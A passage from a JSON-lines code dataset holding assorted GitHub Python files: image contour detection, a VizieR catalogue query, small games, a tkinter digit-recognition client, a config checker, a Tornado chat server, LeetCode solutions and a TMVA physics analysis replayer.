hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv_img, lower, upper)\n\n mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, np.ones((5, 5)))\n\n center_pos, area = findCenterOfLargestContour(mask)\n\n img[:, :, 2] = mask\n img[:, :, :2] = 0\n \n if center_pos is not None:\n # Normalize by image dimension\n c_x = center_pos[0] / float(img.shape[1])\n c_y = center_pos[1] / float(img.shape[0])\n\n center = (c_x, c_y)\n \n return (center, area), True\n else:\n return None, False\n \ndef findCenterOfLargestContour(binary_mask):\n \"\"\" Detects all contours in the image and returns the center position and \n area of the largest contour.\n\n Parameters:\n binary_mask: A binary image, to detect the contours.\n\n Returns:\n (center_x, center_y), area: If no contours are detect it returns\n None, None.\n\n \"\"\"\n contours, _ = cv2.findContours(binary_mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n if len(contours) == 1:\n largest_cnt = 0\n largest_area = cv2.contourArea(contours[0])\n elif len(contours) > 1:\n largest_cnt = 0\n largest_area = cv2.contourArea(contours[0])\n for i, cnt in enumerate(contours[1:]):\n cnt_area = cv2.contourArea(cnt)\n if cnt_area > largest_area:\n largest_area = cnt_area\n largest_cnt = i+1 # Enumerate starts from 0, increment 1 here \n # because we skip the first contour\n else: # No contours were found\n return None, None\n\n # Get moments of largest contour\n M = cv2.moments(contours[largest_cnt])\n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n return (cx, cy), largest_area\n","repo_name":"maggse2/TEEP_robotics","sub_path":"Robot_Code/vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":8319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"24492265021","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\nimport requests\nimport io\nimport numpy as np\ntry:\n import astropy.io.vo.table as votable\nexcept ImportError:\n import astropy.io.votable as votable\nfrom astropy.table import Table\n\nfrom . import VIZIER_SERVER\n\n__all__ = ['vizquery']\n\n\ndef vizquery(query, server=None):\n \"\"\"\n VizieR search query.\n \n This function can be used to search all the catalogs available through the VizieR service.\n \n Parameters\n ----------\n query: dict\n A dictionary specifying the query.\n For acceptable keys, refer to the links given in the references section.\n The dictionary values can be any of the following types:\n * string\n * list of string\n * astropy.table.Table (containing columns \"_RAJ2000\" and \"_DEJ2000\" in degrees)\n server: str, optional\n The VizieR server to use. (See VizieR mirrors at http://vizier.u-strasbg.fr)\n If not specified, `server` is set by the `VIZIER_SERVER` configuration item.\n\n Returns\n -------\n table : `~astropy.table.Table`\n A table containing the results of the query\n \n References\n ----------\n * http://vizier.u-strasbg.fr/doc/asu-summary.htx\n * http://vizier.u-strasbg.fr/vizier/vizHelp/menu.htx\n \n \"\"\"\n \n #Check VizieR server\n server = (VIZIER_SERVER() if server is None else server)\n \n # Always add calculated _RAJ2000 & _DEJ2000 to the query.\n # This is used for cross correlations between queries\n if '-out.add' in query:\n query[\"-out.add\"] += ['_RAJ2000', '_DEJ2000']\n else:\n query[\"-out.add\"] = ['_RAJ2000', '_DEJ2000']\n \n # Assemble the actual query\n body = []\n for (key,value) in query.items():\n if type(value) is str:\n body += [\"%s=%s\"%(key, value)]\n elif type(value) is Table: # Value is a table, convert it to a string, list of positions\n pos = []\n for elem in np.array(value, copy=False):\n pos += [\"%.8f%+.8f\"%(elem['_RAJ2000'],elem['_DEJ2000'])] # Position with the format: _RAJ2000+_DEJ2000\n body += [\"-out.add=_q\"] # This calculated index is a reference to the input table\n body += [\"%s=%s\"%(key, \"<<;\"+\";\".join(pos))] # The proper convention: <<;pos1;pos2;pos3\n elif type(value) is list: # Value is a list, join it with commas\n body += [\"%s=%s\"%(key, \",\".join(value))]\n else:\n raise Exception(\"Don't know how to handle %s\"%repr(value))\n body = \"\\r\\n\".join(body)\n\n # Fetch the VOTABLE corresponding to the query \n r = requests.post(\"http://\"+server+\"/viz-bin/votable\", data=body)\n s = io.BytesIO(r.content)\n voTable = votable.parse(s, pedantic=False)\n \n # Convert VOTABLE into a list of astropy Table.\n tableList = []\n for voTreeTable in voTable.iter_tables():\n if len(voTreeTable.array)>0:\n # Table names come from the VOTABLE fields\n names = []\n for field in voTreeTable.fields:\n names += [field.name.encode('ascii')]\n # Table data come from the VOTABLE record array\n tableList += [voTreeTable.to_table()]\n \n # Merge the Table list\n table = tableList[0]\n if len(tableList)>1:\n for t in tableList[1:]:\n if len(t)>0:\n for row in t:\n table.add_row(row)\n \n return table\n","repo_name":"CadenArmstrong/astroquery","sub_path":"astroquery/vizier/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"35158903284","text":"from brain_games.cli import greeting_user, get_user_answer\n\n\nROUNDS = 3\n\n\ndef run(game=None):\n username = greeting_user()\n if game:\n print(game.DESCRIPTION)\n engine(game, username)\n\n\ndef engine(game, username):\n completed_round = 0\n while ROUNDS > completed_round:\n question, correct_answer = game.make_question()\n print(f'Question: {question}')\n answer = get_user_answer()\n if answer == correct_answer:\n print('Correct!')\n completed_round += 1\n else:\n print(f'\"{answer}\" is wrong answer ;(. \\\n Correct answer was \"{correct_answer}\"')\n return print(f\"Let's try again, {username}!\")\n return print(f'Congratulations, {username}!')\n","repo_name":"Nevelskoy/brain-games-python","sub_path":"brain_games/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19640570193","text":"import time\nfrom turtle import screensize\nimport requests\nimport tkinter\nfrom PIL import Image, ImageDraw, ImageTk\nfrom threading import Thread\n\nclass MousePos:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\nclass Drawing:\n def __init__(self, app, draw_size, save_size, color=\"white\"):\n self.app = app\n self.size_x = draw_size[0]\n self.size_y = draw_size[1]\n self.save_size = save_size\n self.color = color\n self.image = Image.new(\"RGB\", (self.size_x, self.size_y), color)\n self.last_mouse_pos = MousePos(0, 0)\n self.current_mouse_pos = MousePos(0, 0)\n\n self.canvas = tkinter.Canvas(app, width=self.size_x, height=self.size_y, bg=color)\n self.canvas.pack(anchor='nw', side=tkinter.LEFT, expand=False)\n img = ImageTk.PhotoImage(self.image)\n self.canvas.create_image(self.size_x, self.size_y, image=img)\n\n self.canvas.bind(\"\", self.on_click)\n self.canvas.bind(\"\", self.on_move)\n self.app.bind(\"\", self.clear)\n\n def save(self):\n self.thumbnail = self.image.copy()\n self.thumbnail.thumbnail(self.save_size)\n self.thumbnail.save(\"drawing.bmp\")\n\n def draw_line(self, pos1, pos2):\n screen_width = 8;\n img_width = 4;\n\n draw = ImageDraw.Draw(self.image)\n\n self.canvas.create_line(\n (pos1.x, pos1.y, pos2.x, pos2.y),\n fill=\"black\",\n width=screen_width)\n\n offset = (screen_width - 1) / 2\n self.canvas.create_oval(\n (pos2.x - offset, pos2.y - offset,\n pos2.x + offset, pos2.y + offset), \n fill=\"black\"\n )\n\n draw.line(\n [(pos1.x, pos1.y), (pos2.x, pos2.y)],\n fill=\"black\",\n width=img_width,\n joint=\"curve\")\n\n offset = (img_width - 1) / 2\n draw.ellipse(\n (pos2.x - offset, pos2.y - offset,\n pos2.x + offset, pos2.y + offset), \n fill=\"black\")\n\n self.save()\n\n def on_click(self, event):\n self.current_mouse_pos = MousePos(event.x, event.y)\n\n def on_move(self, event):\n self.last_mouse_pos = self.current_mouse_pos\n self.current_mouse_pos = MousePos(event.x, event.y)\n self.draw_line(self.last_mouse_pos, self.current_mouse_pos)\n\n def clear(self, event=None):\n self.canvas.delete(\"all\")\n self.image = Image.new(\"RGB\", (self.size_x, self.size_y), self.color)\n img = ImageTk.PhotoImage(self.image)\n self.canvas.create_image(self.size_x, self.size_y, image=img)\n\nclass ResUpdater(Thread):\n def __init__(self, res_canvas, url, port, update_time):\n Thread.__init__(self)\n self.res_canvas = res_canvas\n self.url = url\n self.port = port\n self.update_time = update_time\n self.stopped = False\n\n def make_request(self):\n try:\n response = requests.get(f\"http://{self.url}:{self.port}\", data=open('drawing.bmp', 'rb').read()).json()\n return response[\"result\"]\n except:\n return \"NO CONNECTION\"\n\n def run(self):\n while not self.stopped:\n res = self.make_request()\n self.res_canvas.delete(\"all\")\n if str(res) == res:\n self.res_canvas.create_text(128, 128, text=res, fill=\"white\", font=('Lato 20'))\n else:\n self.res_canvas.create_text(128, 128, text=str(res), fill=\"white\", font=('Lato 96'))\n time.sleep(self.update_time)\n\n def stop(self):\n self.stopped = True\n\ndef main():\n SERVER_URL = \"127.0.0.1\"\n SERVER_PORT = 8000\n UPDATE_TIME = 0.1 # in seconds\n RES_SIZE = (256, 256)\n DRAW_SIZE = (256, 256)\n SEND_SIZE = (28, 28)\n\n app = tkinter.Tk()\n app.protocol(\"WM_DELETE_WINDOW\", app.destroy)\n app.title(\"Digit Recognition\")\n app.geometry(\"512x256\")\n app.resizable(False, False)\n\n drawing = Drawing(app, DRAW_SIZE, SEND_SIZE)\n\n res_canvas = tkinter.Canvas(app, width=RES_SIZE[0], height=RES_SIZE[1], bg='black')\n res_canvas.pack(anchor='nw', side=tkinter.LEFT, expand=False)\n\n res_upd = ResUpdater(res_canvas, SERVER_URL, SERVER_PORT, UPDATE_TIME)\n res_upd.daemon = True\n\n res_upd.start()\n app.mainloop()\n res_upd.stop()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gavril-s/digit_recognition","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11407591237","text":"\"\"\"\nFile: Checker.py\nLicense: Part of the PIRA project. Licensed under BSD 3 clause license. See LICENSE.txt file\nat https://github.com/tudasc/pira\nDescription: Checks if files and paths in config-file are valid.\n\"\"\"\nimport lib.Utility as U\nimport lib.Configuration as C\nimport lib.Logging as L\n\n\nclass Checker:\n\n @staticmethod\n def check_configfile_v1(configuration):\n\n error_message = 'Error in configuration-file:\\n\\n'\n exception_occured = False\n\n for build_dir in configuration.directories:\n if not (U.check_provided_directory(build_dir)):\n error_message += 'Build-directory ' + build_dir + ' does not exist.\\n\\n'\n exception_occured = True\n\n for item in configuration.builds[build_dir]['items']:\n analysis_functor_dir = configuration.items[build_dir][item]['instrument_analysis'][0]\n if not (U.check_provided_directory(analysis_functor_dir)):\n error_message += 'Analysis-functor dir ' + analysis_functor_dir + ' does not exist.\\n'\n exception_occured = True\n\n analysis_binary_dir = configuration.items[build_dir][item]['instrument_analysis'][2]\n if not (U.check_provided_directory(analysis_binary_dir)):\n error_message += 'Analysis-binary dir ' + analysis_binary_dir + ' does not exist.\\n'\n exception_occured = True\n\n # Instead of prompting an error, we just create a log if the cubes-directory does not exist.\n # This is due to that the directory is created in ProfileSink\n cubes_dir = configuration.items[build_dir][item]['instrument_analysis'][1]\n if not (U.check_provided_directory(cubes_dir)):\n L.get_logger().log('Creating Cubes directory ' + cubes_dir, level='info')\n\n if not (U.check_provided_directory(configuration.items[build_dir][item]['builders'])):\n error_message += 'Builders-directory ' + configuration.items[build_dir][item][\n 'builders'] + ' does not exist.\\n'\n exception_occured = True\n\n for arg in configuration.items[build_dir][item]['args']:\n if not (U.check_provided_directory(arg)):\n error_message += 'args' + arg + 'does not exist.\\n'\n exception_occured = True\n\n if not (U.check_provided_directory(configuration.items[build_dir][item]['runner'])):\n error_message += 'runner' + configuration.items[build_dir][item][\n 'runner'] + 'does not exist.\\n'\n exception_occured = True\n\n if exception_occured:\n raise C.PiraConfigErrorException(error_message)\n\n @staticmethod\n def check_configfile_v2(configuration):\n if isinstance(configuration, C.PiraConfigAdapter):\n configuration = configuration.get_adapted()\n\n error_message = 'Error in configuration-file:\\n\\n'\n exception_occured = False\n\n if (not bool(configuration.get_directories())):\n raise C.PiraConfigErrorException('Error at Parsing of Pira-config-file, check the syntax!')\n\n # check if directories exist\n for dir in configuration.get_directories():\n if not U.check_provided_directory(configuration.get_place(dir)):\n error_message += 'Directory ' + dir + ' does not exist.\\n'\n exception_occured = True\n\n for item in configuration.get_items(dir):\n if not U.check_provided_directory(item.get_analyzer_dir()):\n error_message += 'Analyzer-Directory ' + item.get_analyzer_dir() + ' does not exist\\n'\n exception_occured = True\n\n # instead of throwing an error, only an info is logged. This is due to that the directory is created in ProfileSink\n if not U.check_provided_directory(item.get_cubes_dir()):\n L.get_logger().log('Creating Cubes-Directory ' + item.get_cubes_dir(), level='info')\n\n if not U.check_provided_directory(item.get_functor_base_path()):\n error_message += 'Functors-Base-Directory ' + item.get_functor_base_path(\n ) + ' does not exist\\n'\n exception_occured = True\n\n # if there is no flavor,the flavors-array is filled with an empty entry and the underscore in the filename is removed\n if len(item.get_flavors()) == 0:\n flavors = ['']\n underscore = ''\n\n else:\n flavors = item.get_flavors()\n underscore = '_'\n\n # check if functor-files exist\n for flavor in flavors:\n functors = ['analyze_', 'clean_', 'no_instr_', 'runner_', '']\n\n for functor in functors:\n path_to_check = item.get_functor_base_path(\n ) + '/' + functor + item._name + underscore + flavor + '.py'\n L.get_logger().log('Checker::check_v2: ' + path_to_check)\n\n if not (U.is_file(path_to_check)):\n error_message += functor + '-functor of flavor ' + flavor + ' does not exist' + '.\\n'\n exception_occured = True\n\n if exception_occured:\n raise C.PiraConfigErrorException(error_message)\n\n @staticmethod\n def check_configfile(configuration):\n if C.InvocationConfig.get_instance().get_config_version() == 1:\n Checker.check_configfile_v1(configuration)\n else:\n Checker.check_configfile_v2(configuration)\n","repo_name":"tudasc/PIRA","sub_path":"lib/Checker.py","file_name":"Checker.py","file_ext":"py","file_size_in_byte":5138,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"29"} +{"seq_id":"27503066282","text":"# Main Program\nprint('Inicio do programa!')\nwhile True:\n # Uso do try para lidar com as excessões em geral.\n try:\n x = input('Deseja inserir dados?\\t[S/N]')\n if x.lower() in 'n':\n break\n if x.lower() not in 's':\n print('Digite S para continuar. Ou N para encerrar o programa!')\n continue\n nome = input('Nome do aluno: ')\n nota = float(input('Nota final: '))\n # Sequencia de condicionais encadeadas, cada condição sera verificada em ordem. Se a primeira for falsa, a proxima é verificada, e assim por diante.\n if (nota >= 0 and nota <= 2.9):\n print(f'O aluno {nome} tirou nota %.1f e se enquadra no conceito E' % nota)\n elif (nota >= 3 and nota <= 4.9):\n print(f'O aluno {nome} tirou nota %.1f e se enquadra no conceito D' % nota)\n elif (nota >= 5 and nota <= 6.9):\n print(f'O aluno {nome} tirou nota %.1f e se enquadra no conceito C' % nota)\n elif (nota >= 7 and nota <= 8.9):\n print(f'O aluno {nome} tirou nota %.1f e se enquadra no conceito B' % nota)\n elif (nota >= 9 and nota <= 10):\n print(f'O aluno {nome} tirou nota %.1f e se enquadra no conceito A' % nota)\n else:\n print('A nota final deve ter valores de 0 até 10.')\n except:\n print('Dados incorretos! tente novamente...')\nprint('Programa Encerrando...')","repo_name":"RenanMarshall/Algoritms-in-python","sub_path":"Trabalhos/EX_01.py","file_name":"EX_01.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38897607856","text":"import logging\nimport tornado.web\nfrom tornado.options import options\n\nfrom chat_app.config import settings\nfrom chat_app.handlers import ChatApplicationHandler, ChatApplicationWebSocketHandler\nfrom chat_app.manager import ChatApplicationManager\n\n\ndef main():\n logging.basicConfig(\n level=logging.DEBUG,\n filemode='w',\n filename='app.log',\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n )\n options.parse_command_line()\n\n chat_app_manager = ChatApplicationManager()\n\n urls = [\n (r'/$', ChatApplicationHandler),\n (r\"/chat/ws$\", ChatApplicationWebSocketHandler, dict(app_manager=chat_app_manager))\n ]\n\n application = tornado.web.Application(\n urls,\n debug=options.debug,\n autoreload=options.debug,\n **settings\n )\n logging.info(f'Chat Application has started on port {options.port} with Debug Mode set to {options.debug}')\n application.listen(options.port)\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"punithkravi007/chatapp-python-tornado","sub_path":"chat_app/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"25286092091","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 22 13:08:12 2014\n\nHiermit werden die Wetterdaten in das SVG-Template geschrieben.\n\n@author: dario\n\"\"\"\nimport codecs\nimport datetime\nimport locale\n\ndef svgmpi(wetter):\n tmplt = codecs.open('template-yr.svg', 'r', encoding='utf-8').read() #lesen\n #alle Werte runden und wieder in str umwandeln\n temperature = int(round(float(wetter['T (degC)'])))\n relhum = int(round(float(wetter['rh (%)'])))\n wind = int(round(float(wetter['wv (m/s)'])))\n \n #Platzhalter ersetzen\n tmplt = tmplt.replace('TEMP0', str(temperature))\n tmplt = tmplt.replace('RH', str(relhum))\n tmplt = tmplt.replace('WS', str(wind))\n \n #Lokaliserung auf deutsch setzen für Datum und Datum erstzen\n locale.setlocale(locale.LC_ALL, 'deu_deu') #windows\n #locale.setlocale(locale.LC_ALL, 'de_DE') #unix\n now = datetime.date.today()\n today = now.strftime('%A, %d. %B %Y')\n tmplt = tmplt.replace('DATE', today)\n \n #neue SVG-Datei schreiben\n codecs.open('template-wetter.svg', 'w', encoding='utf-8').write(tmplt)\n return 0","repo_name":"zeitgespenst/WeatherDisplay","sub_path":"Server/svgmpi.py","file_name":"svgmpi.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6794763187","text":"def sum(a,*b): # for using multiple values we use b as tuple.\n c =a\n for i in b:\n c = c + i\n print(c)\n\nsum(5,6,87,33)\n\ndef person(name,**data):\n print(name)\n print(data)\n for i,j in data.items():\n print(i,j)\n\nperson('pratik',age=24,city='kolkata',mob=8967763126)","repo_name":"pratikgon96/Python_Learnings","sub_path":"func3.py","file_name":"func3.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17394441714","text":"# Note: Missing imports \n\nclass Event(models.Model):\n title = models.CharField(max_length=200)\n date_published = models.DateTimeField('published date',default=datetime.now, blank=True)\n date_start = models.DateTimeField('start date')\n date_end = models.DateTimeField('end date')\n description = models.TextField()\n price = models.IntegerField(null=True, blank=True)\n venue = models.ForeignKey(Venue)\n\n\nclass Venue(models.Model):\n title = models.CharField(max_length=200)\n date_published = models.DateTimeField('published date',default=datetime.now, blank=True)\n venue_address = models.CharField(max_length=200)\n venue_city = models.CharField(max_length=200)\n venue_state = models.CharField(max_length=200)\n venue_country = models.CharField(max_length=200)\n description = models.TextField()\n\n\n# List all the fields for a given model\nEvent._meta.get_fields()\nevent = Event.objects.last()\nevent._meta.get_fields()\n\n############################ Foreign key reverse look up ############################\n# Assume the two different models\n\n# Pay attention to ralated_name if getting errors.\nvenue = Venue.objects.last()\nvenue.event_set.all()\n\n# You can also use the following if want to go the other way around.\nEvent.objects.filter(venue__id=venue.id)\n","repo_name":"FlavioAlexander/useful-commands","sub_path":"django.py","file_name":"django.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70751815440","text":"\"\"\"\nday: 2020-09-01\nurl: https://leetcode-cn.com/leetbook/read/top-interview-questions-hard/xd03l1/\n题目名: 完全平方数\n给定正整数n,找到若干个完全平方数(比如1, 4, 9, 16, ..), 使得它们的和等于n.你需要让组成和的\n完全平方数的个数最少\n示例:\n 输入: 12\n 输出: 3\n 解释: 12 = 4 + 4 + 4\n 输入: 13\n 输出: 2\n 解释: 13 = 4 + 9\n思路:\n1. 动态规划\n 对于dp[i]需要的完全平方数,对于某个平方数num,dp[i]=dp[i-num]+1,依次遍历所有在i范围内的完全平方数\n 让dp[i]取他们之中的最小值.\n2. 暴力枚举+剪枝+dfs\n 我们要想尽可能使用少的完全平方数,那么应该优先使用较大的完全平方数,那么我们每次都选择可以选择\n 的最大完全平方数,并计算最多可以选择多少个最大完全平方数,也就是 n // max_square, 然后让\n n - max_square*use_count, 去再用下一个完全平方数去计算得到的值..\n 若在某一层计算中,当前的count总数已经超过了之前计算得到的count,那么就直接结束本次计算,因为无论\n 如何得到的结果都不会小于之前得到的count\n3. bfs\n 从n开始,将n减去每个完全平方数得到的结果加入下一层中,如果有一层square == num,那么当前层就是\n 最少个数.\n4. 数学方法\n 当数字n=4^k(8m+7)时,只能由四个平方数组成,直接返回4\n 否则判断它本身是否是一个完全平方数,是则返回1\n 否则枚举0-n范围内的所有完全平方数,使n-i*i,判断该值是否是一个完全平方数,是则返回2\n 否则返回3\n\"\"\"\n\n\nclass Solution:\n def numSquares(self, n: int) -> int:\n # 0-n中所有完全平方数\n square_nums = [i**2 for i in range(int(n**0.5)+1)]\n dp = [n+1 for _ in range(n+1)]\n dp[0] = 0\n for i in range(1, n+1):\n for square in square_nums:\n if i < square:\n break\n # 当前需要的完全平方数数量,是减去当前完全平方数之后,需要的数量+1\n dp[i] = min(dp[i-square]+1, dp[i])\n return dp[n]\n\n def numSquares_dfs(self, n: int) -> int:\n self.ans = float('inf')\n square_nums = [i**2 for i in range(int(n**0.5)+1, 0, -1)]\n\n def dfs(square, balance, count):\n if not balance:\n self.ans = min(self.ans, count)\n return\n if square >= len(square_nums):\n return\n for i in range(balance // square_nums[square], -1, -1):\n if i + count < self.ans:\n dfs(square+1, balance-square_nums[square]*i, count+i)\n else:\n break\n\n dfs(0, n, 0)\n return self.ans\n\n def numSquares_bfs(self, n: int) -> int:\n square_nums = [i**2 for i in range(1, int(n**0.5)+1)]\n level = 0\n queue = {n}\n while queue:\n level += 1\n next_queue = set()\n for num in queue:\n for square in square_nums:\n # 找到了,直接返回楼层层数\n if square == num:\n return level\n # 大于num,说明后面的所有完全平方数都比num大,所以直接退出\n # 减少计算量\n elif square > num:\n break\n # 否则加入下一层\n else:\n next_queue.add(num-square)\n queue = next_queue\n return level\n\n def numSquares_math(self, n: int) -> int:\n def isSquare(num):\n sq = int(num ** 0.5)\n return sq*sq == num\n\n # 判断是否符合四平方数公式\n while (n & 3) == 0:\n n >>= 2\n if (n & 7) == 7:\n return 4\n # 判断是否是一个完全平方数\n if isSquare(n):\n return 1\n # 判断是否是两个完全平方数的和\n for i in range(1, int(n**0.5)+1):\n if isSquare(n-i*i):\n return 2\n return 3\n\n\nif __name__ == \"__main__\":\n test = 12\n s = Solution()\n print(s.numSquares_bfs(test))\n","repo_name":"challeger/leetCode","sub_path":"高级算法/leetCode_127_完全平方数.py","file_name":"leetCode_127_完全平方数.py","file_ext":"py","file_size_in_byte":4225,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"24149467651","text":"import array, os, sys\nimport ROOT\n\ndef ensure_dir(f):\n d = os.path.dirname(f)\n if not os.path.exists(d):\n os.makedirs(d)\n\nclass Node:\n \"\"\"\n Tree node: left and right child + data which can be any object\n \"\"\"\n def __init__(self, data, parent = None):\n \"\"\"\n Node constructor\n @param data node data object\n \"\"\"\n self.background = None\n self.signal = None\n self.data = data\n self.parent = parent\n\n def setBackground(self, data):\n self.background = Node(data, self)\n return self.background\n\n def setSignal(self, data):\n self.signal = Node(data, self)\n return self.signal\n\n def hasChildren(self):\n return self.signal is not None and self.background is not None\n\nclass TMVAReplayer:\n\n class MVANodeData:\n \"\"\"\n Data associated to a MVA node inside the binary tree\n \"\"\"\n\n def __init__(self, name, mva):\n self.name = name\n self.mva = mva\n self.reader = None\n if self.mva.cfg.mvaCfg[\"mvamethod\"] != \"Singleton\":\n self.reader = ROOT.TMVA.Reader(\"Silent\")\n self.inputVariables = {}\n self.mvaValue = array.array('f', [0])\n\n def syncInputVariables(self, variablesCache):\n \"\"\"\n Synchronize MVA input values with tree values\n \"\"\"\n for var in self.mva.cfg.mvaCfg[\"inputvar\"]:\n if not var in self.inputVariables.keys():\n a = array.array('f', [0])\n self.inputVariables[var] = a\n if self.mva.cfg.mvaCfg[\"mvamethod\"] != \"Singleton\":\n self.reader.AddVariable(var, a)\n\n # variablesCache is TTreeFormula, inputVariables is float\n self.inputVariables[var][0] = variablesCache[var].EvalInstance()\n\n def book(self):\n if self.mva.cfg.mvaCfg[\"mvamethod\"] != \"Singleton\":\n self.reader.BookMVA(\"MVA\", TMVAReplayer.getXMLPath(self.mva))\n\n def evaluate(self):\n if self.mva.cfg.mvaCfg[\"mvamethod\"] == \"Singleton\":\n # in case of \"Singleton\" mode we only have one variable\n var = self.inputVariables.keys()[0]\n self.mvaValue[0] = self.inputVariables[var][0]\n return self.mvaValue[0]\n else:\n self.mvaValue[0] = self.reader.EvaluateMVA(\"MVA\")\n return self.transformOutput(self.mvaValue[0])\n\n def transformOutput(self, value):\n if self.mva.cfg.mvaCfg[\"mvamethod\"] == \"BDT\":\n value = (value + 1.)/2.\n if value > 1.:\n value = 1.\n if value < 0.:\n value = 0.\n return value\n\n class EndNodeData:\n \"\"\"\n Data associated with an end node inside the binary tree\n \"\"\"\n def __init__(self, name, file, chain):\n self.name = name\n self.file = file\n self.chain = chain\n self.entries = 0\n self.binNumber = 0\n\n def fill(self, weight):\n self.chain.Fill()\n self.entries = self.entries + weight\n\n\n\n \n def __init__(self, configuration, root):\n self.configuration = configuration\n datasets = configuration[\"datasets\"]\n if len(datasets.keys()) > 1:\n print(\"Error: only one dataset is supported for replay for the moment\")\n sys.exit(1)\n\n name, data = datasets.iterkeys().next(), datasets.itervalues().next()\n self.inputDataset = data\n self.outputDirectory = configuration[\"analysis\"][\"outputdir\"]\n self.name = name\n self.root = root\n self.mvas = {}\n self.inputVariables = {}\n self.numberOfEndNodes = 0\n self.treeRoot = None\n\n self.chain = ROOT.TChain(data[\"treename\"])\n for file in data[\"path\"]:\n self.chain.Add(file)\n\n def createMVAs(self, node, parentNode = None):\n if not node.isEnd:\n print(\"Creating MVA reader for node '%s'\" % node.name)\n mvaNode = TMVAReplayer.MVANodeData(node.name, node.goodMVA)\n self.linkInputVariables(node.goodMVA, mvaNode)\n mvaNode.book()\n\n if parentNode is None:\n self.treeRoot = Node(mvaNode)\n parentNode = self.treeRoot\n else:\n if node.type == \"Sig\":\n parentNode = parentNode.setSignal(mvaNode)\n else:\n parentNode = parentNode.setBackground(mvaNode)\n\n for child in node.daughters:\n self.createMVAs(child, parentNode)\n else:\n print(\"End of chain with node '%s'\" % node.name)\n # Strip first part of the node name\n endPath = node.name.split('/', 1)[1] + \"_proc_\" + self.name + \".root\"\n path = os.path.join(self.outputDirectory, endPath)\n print(\"\\tOutput file: '%s'\" % path)\n ensure_dir(path)\n\n f = ROOT.TFile(path, \"recreate\")\n chain = self.chain.CloneTree(0)\n\n endNode = TMVAReplayer.EndNodeData(node.name, f, chain)\n self.numberOfEndNodes = self.numberOfEndNodes + 1\n\n treeNode = None\n if node.type == \"Sig\":\n treeNode = parentNode.setSignal(endNode)\n else:\n treeNode = parentNode.setBackground(endNode)\n\n # Iterate backwards and create branch in chain with mva outputs\n\n # Skip this node\n treeNode = treeNode.parent\n parent = treeNode.parent\n while treeNode is not None:\n\n branchName = \"MVAOUT__%s\" % (treeNode.data.name.replace(\"/\", \"_\"))\n chain.Branch(branchName, treeNode.data.mvaValue, branchName + \"/F\")\n\n treeNode = parent\n if treeNode is not None:\n parent = treeNode.parent\n\n\n def linkInputVariables(self, mva, mvaNode):\n \"\"\"For all 'inputvar' of the MVA, create the associated TTreeFormula in the chain if needed\"\"\"\n for var in mva.cfg.mvaCfg[\"inputvar\"]:\n # var can be a complex expression. Use TTreeFormula\n if not var in self.inputVariables.keys():\n formulaName = var.replace(' ', '_')\n formula = ROOT.TTreeFormula(formulaName, var, self.chain)\n formula.GetNdata()\n self.chain.SetNotify(formula)\n self.inputVariables[var] = formula\n\n\n mvaNode.syncInputVariables(self.inputVariables)\n\n def syncMVAInputVariables(self, node):\n if node is None or not node.hasChildren():\n return\n\n node.data.syncInputVariables(self.inputVariables)\n self.syncMVAInputVariables(node.signal)\n self.syncMVAInputVariables(node.background)\n\n def getNextMVA(self, node, value):\n \"\"\"Given a mva value, find the next mva we should use to classify.\n Return None if we are at the end of the chain\"\"\"\n cut = node.data.mva.cutValue\n if value > cut:\n return node.signal\n else:\n return node.background\n\n def runOnEndNodes(self, rootNode, lambda_):\n \"\"\"Iterator over the tree from rootNode, and execute lambda_\n on each end node\"\"\"\n\n if rootNode is None:\n return\n\n if rootNode.hasChildren():\n self.runOnEndNodes(rootNode.background, lambda_)\n self.runOnEndNodes(rootNode.signal, lambda_)\n else:\n lambda_(rootNode)\n\n\n def run(self):\n self.createMVAs(self.root)\n\n self.binNumber = 1\n def assignBinNumber(node):\n node.data.binNumber = self.binNumber\n self.binNumber = self.binNumber + 1\n\n self.runOnEndNodes(self.treeRoot, assignBinNumber)\n del self.binNumber\n\n lumi = self.configuration[\"analysis\"][\"lumi\"]\n xsection = self.inputDataset[\"xsection\"]\n ngen = self.inputDataset[\"genevents\"]\n\n datasetWeight = (xsection * lumi) / ngen\n\n summaryName = \"%s_yields\" % (self.name)\n self.summaryHist = ROOT.TH1F(summaryName, summaryName, self.numberOfEndNodes, 0, self.numberOfEndNodes)\n self.summaryHist.SetDirectory(0)\n self.summaryHist.Sumw2()\n\n # Create weight formula\n weightFormula = self.inputDataset[\"evtweight\"]\n if len(weightFormula) > 0:\n weightFormulaName = weightFormula.replace(' ', 